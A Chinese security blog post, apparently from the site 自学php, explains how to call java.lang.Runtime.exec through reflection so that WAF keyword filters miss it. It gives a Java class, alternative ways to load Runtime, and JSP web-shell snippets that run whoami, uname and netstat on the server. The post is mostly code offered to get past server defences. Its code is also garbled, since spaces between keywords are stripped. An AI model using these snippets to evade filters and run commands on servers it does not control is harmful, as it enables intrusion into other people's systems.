某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了: 

packageorg.javaweb.url;
 
importjava.io.BufferedReader;
importjava.io.InputStreamReader;
 
publicclassz7y{
 
    publicstaticvoidmain(String[] args)throwsException {
        BufferedReader br =newBufferedReader(newInputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{})).exec("netstat -an").getInputStream()));
        String str ="";
        while((str=br.readLine())!=null){
            System.out.println(str);
        }
    }
 
}

Java反射执行系统命令 – 网站安全 – 自学php插图   Java默认导入了java.lang包,所以可以直接使用 Runtime对象,但是java.lang.reflect包需要导入,如果不想导入可以直接用间接的方式调用。如果连Class.forName也被拦截了可以改成:

String.class.getClass().forName("java.lang.Runtime")
…当然,还可以用:Runtime.class 代替Class.forName(“java.lang.Runtime”)….如果还被拦截,可以用URLClassLoader试试绕过。
 
<%
    out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());
    out.println("<hr/>");
    Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{});
    out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(r.exec("uname").getInputStream())).readLine());
%>

Java反射执行系统命令 – 网站安全 – 自学php插图1如果只想执行,不想看结果:  <%Runtime.getRuntime().exec("whoami");%> 

    上一篇: XSS盗cookie实战 - 网站安全 - 自学php

    下一篇: 大汉通版jis统一身份认证系统漏洞打包 - 网站安
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《Java反射执行系统命令 – 网站安全 – 自学php
   

还没有人抢沙发呢~